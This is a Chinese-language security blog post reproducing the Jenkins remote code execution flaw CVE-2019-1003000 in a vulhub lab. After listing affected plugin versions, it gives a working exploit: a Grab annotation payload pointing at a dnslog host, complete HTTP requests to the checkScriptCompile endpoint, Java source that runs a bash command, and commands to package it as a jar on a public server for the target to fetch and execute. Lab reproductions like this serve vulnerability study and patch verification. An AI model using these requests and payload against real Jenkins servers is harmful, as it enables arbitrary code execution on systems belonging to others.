vlambda博客
学习文章列表

Jenkins远程代码执行漏洞(CVE-2019-1003000)

漏洞简介

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

影响版本

Declarative Plugin < 1.3.4.1

Groovy Plugin < 2.61.1

Script Security Plugin < 1.50

漏洞复现

复现环境

使用vulhub中的jenkins/CVE-2018-1000861即可复现

复现步骤

该漏洞利用需要将恶意代码制作成jar包,放到远程的服务器上,发送请求让Jenkins获取并执行该jar包,从而达到命令执行的目的。

@GrabConfig(disableChecksums=true)@GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')@Grab(group='test.sec', module='test', version='1')import Payload;

请求包如下:

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1Host: hostUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close

Jenkins远程代码执行漏洞(CVE-2019-1003000)

查看dnslog记录:

Jenkins远程代码执行漏洞(CVE-2019-1003000)

利用该漏洞命令执行的方式:

1.创建一个java文件,保存为jkrce.java代码如下:

public class jkrce {  public jkrce() {    try {     String payload = "touch /tmp/test11111";     String[] cmds = { "/bin/bash", "-c", payload };     java.lang.Runtime.getRuntime().exec(cmds);    } catch (Exception e) {} }}

2.创建文件夹META-INF/serverices/,编译并写jkrce类到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:

javac jkrce.java mkdir -p META-INF/services/   echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners jar cvf jenkins-1.jar ./      

3.在公网web服务器目录里,创建路径/tools/jenkins/1/  这个路径要与下一步中的路径一致,并将上一步生成的jar文件放到该目录下

mkdir /tools/jenkins/1/
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1Host: hostUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close
Jenkins远程代码执行漏洞(CVE-2019-1003000)

5.进入docker查看,发现成功创建文件

Jenkins远程代码执行漏洞(CVE-2019-1003000)


注:

这个jar包需要jdk版本与服务器版本一致,否则报错,vulhub的环境为52.0 即jdk1.8

Jenkins远程代码执行漏洞(CVE-2019-1003000)

参考链接

https://www.jozxing.cc/archives/1696

漏洞检测


安全小工坊

扫描二维码